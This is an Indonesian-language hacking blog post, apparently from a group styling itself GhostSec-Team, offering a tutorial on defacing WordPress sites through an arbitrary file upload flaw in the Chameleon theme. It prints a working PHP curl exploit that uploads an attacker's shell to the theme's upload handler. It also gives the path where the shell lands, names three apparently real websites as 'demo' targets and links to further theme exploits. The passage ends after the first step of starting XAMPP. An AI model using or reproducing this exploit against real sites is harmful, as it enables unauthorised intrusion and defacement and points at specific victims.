TUTORIAL DEFACE WORDPRESS THEME ARBITRARY FILE UPLOAD VULNERABILITY ~ GHOSTSEC-TEAM

Senin, 14 April 2014

TUTORIAL DEFACE WORDPRESS THEME ARBITRARY FILE UPLOAD VULNERABILITY

Dari pada gua di bilang copaster :v

mending gua buat aja tutornya :v

ntar gua kasih linknya di setiap Postingan, hhaha, ternyata jadi orang ganteng itu gak mudah >.<

Langsung aja ya!

toos :

Xampp | Shell |

~ Pertama Download dulu Xampp
~ Trus Pilih Exploite yang mau kamu cobain, ini adalah Exploite Vuln untuk tutorial ini yang ada di blog saya :

http://irfansyahp.blogspot.com/2013/11/wordpress-saico-theme-arbitrary-file.html
http://irfansyahp.blogspot.com/2013/11/wordpress-area53-theme-arbitrary-file.html
http://irfansyahp.blogspot.com/2013/10/wordpress-ghost-theme-arbitrary-file.html

dan masih banyak yang lainnya, cuman malas doang di jabarkan :3

saya ambil contoh : WordPress Chameleon theme - Arbitrary File Upload Vulnerability

Dork :

Use You'r Brain!!

# Exploit
<?php
$uploadfile="yourfile.php";
$ch = curl_init("http://{Target}/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('qqfile'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>

Path : http://[target]/wp-content/uploads/2013/11/{filename}.php

Demo sites
http://mirrorimagecounseling.org/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php
http://sakpasemedia.com/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php
http://www.818420.com/wp-content/themes/cameleon/includes/fileuploader/upload_handler.php

Langsung kembali ke tutorial!

Pertama buka instal xampp, trus buka Xampp Control dengan cara seperti ini :

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\IrfanPutra>cd/xampp/

C:\xampp>xampp-control